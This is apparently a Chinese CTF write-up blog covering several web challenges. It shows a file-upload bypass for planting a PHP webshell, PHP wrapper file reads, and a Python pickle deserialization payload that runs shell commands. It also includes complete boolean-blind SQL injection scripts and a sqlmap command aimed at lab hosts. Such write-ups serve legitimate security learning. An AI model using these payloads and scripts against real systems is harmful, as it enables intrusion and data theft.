看见个输入路径,打了半天没进去,php伪协议也打不进去,
用dirsearch扫一下
看了半天才看出来,那串英文
Access Denied! I love FSCTF Browser
说不是本地,referer输入127.0.0.1
发现没回显,用php伪协议来读取
成功读取,得到flag
限制了文件类型,只能传jpg类型,抓包改包
类型长宽必须小于20
还是第一次遇到这种题,可以直接定义长宽的值为1
#define hight 1
#define width 1
发现还是不行
可能是对php头进行了检测,修改一下一句话木马
成功绕过
ls /
cat /flag
代码审计
gpt解释
去查了一下才知道pickle是python中的反序列化函数
python pickle模块常见函数_pickle函数-CSDN博客
Python 序列化 pickle 模块_pickle序列化-CSDN博客
第一次见python反序列化的题
NSSCTF-[HZNUCTF 2023 preliminary]-web-CSDN博客
发现有两个网页但是访问不进去
根据这篇博客进行的复现,主要是在函数的理解以及脚本的编写上
import pickle
import base64
class rayi(object):
def __reduce__(self):
#return eval,("__import__('o'+'s').system('ls / | tee a')",)
return eval,("__import__('o'+'s').system('env | tee a')",)
a=rayi()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))
得到flag文件是在.sh文件里
查看环境变量得到flag
本题重点:
python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作
python中,os就是可以调用system的函数:
os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。
所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。
输入1有固定回显,输入2-4发现有乱码,输入5发现用户不存在,输入其他特殊字符无回显,也无报错回显
利用大佬的二分法脚本
利用的时候只需要改一下url和success_message,基本通用的脚本
import time import requests Success_message = "Hi" #使用时改一下Success_message、url!!!!!!!!!!!!!!!!!!!!!! def database_name(): db_name = '' for i in range(1, 10): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break db_name += chr(mid) print("数据库名: " + db_name) return db_name def table_name(): name = '' for j in range(1, 100): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \ 'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid) time.sleep(0.2) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break name += chr(mid) print("表名: " + name) table_list = name.split(",") for tab_name in table_list: column_name(tab_name) def column_name(tab_name): name = '' for j in range(1, 100): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \ 'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \ '1)) > %d)' % (tab_name, j, mid) time.sleep(0.2) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break name += chr(mid) print(("%s表的字段名: " + name) % tab_name) column_list = name.split(",") for col_name in column_list: get_data(tab_name, col_name) def get_data(tab_name, col_name): data = '' for i in range(1, 100): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % ( col_name, tab_name, i, mid) time.sleep(0.2) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break data += chr(mid) print(("%s表的%s字段数据: " + data) % (tab_name, col_name)) if __name__ == '__main__': url = input("请输入url:") database_name() table_name()
大佬博客:
[WUSTCTF2020]颜值成绩查询_Tajang的博客-CSDN博客
先随便注册一个用户,进到页面里
在修改密码页面的源代码处看到提示
所以注册用户admin'--并修改密码就可以登录admin,在home页面的查询有两种回显,exist或no user,显然是布尔盲注,需要注意的是数据库是sqlite,查询语句不太一样。
SQLite数据库介绍与使用-CSDN博客
SQLite中有一个类似information_schema功能的表sqlite_master
其中有五个字段
type:记录项目的类型,如table、index、view、trigger
name:记录项目的名称,如表名、索引名等
tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql:记录创建该项目的SQL语句
之前做过一道题,就是利用二次注入拿权限然后得flag,这道题开始的做法和那道题类似
先注册一个admin'--+ 因为admin'#报错了,用这个注册的admin来覆盖之前的那个admin
通过修改密码,把admin的密码改掉,然后再进行登录admin,发现成功登录
输入id查询发现回显不是no user 就是exist
还发现一个post请求的url路径,cooike里有一个session值
附脚本给大家 session值也要记得改
# python sqlmap.py -u "http://node4.anna.nssctf.cn:28735/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZPHIxA.lAQc_M-IaV4V6i6T9b7Wwks4sic" -T flag -C flag --dump --level 3 import requests import time import string str = string.ascii_letters + string.digits + "{}|-~," # print(str) print(string.printable) url = "http://node4.anna.nssctf.cn:28682/query" s = requests.session() flag = "" headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWbD1g.RMAlNj04CYQl5Z18DImPWi4Tgto"} for i in range(0, 100): for x in str: data = { # 'id': "1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x), 'id': "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, x) } res = s.post(url=url, data=data,headers=headers) # print(data) # print(res.status_code) # time.sleep(0.1) if "exist" in res.text: flag += x print(flag) break if chr == '%': break # select flag from flag 获得flag # select sql from sqlite_master where type='table' and name='flag'爆列
得到flag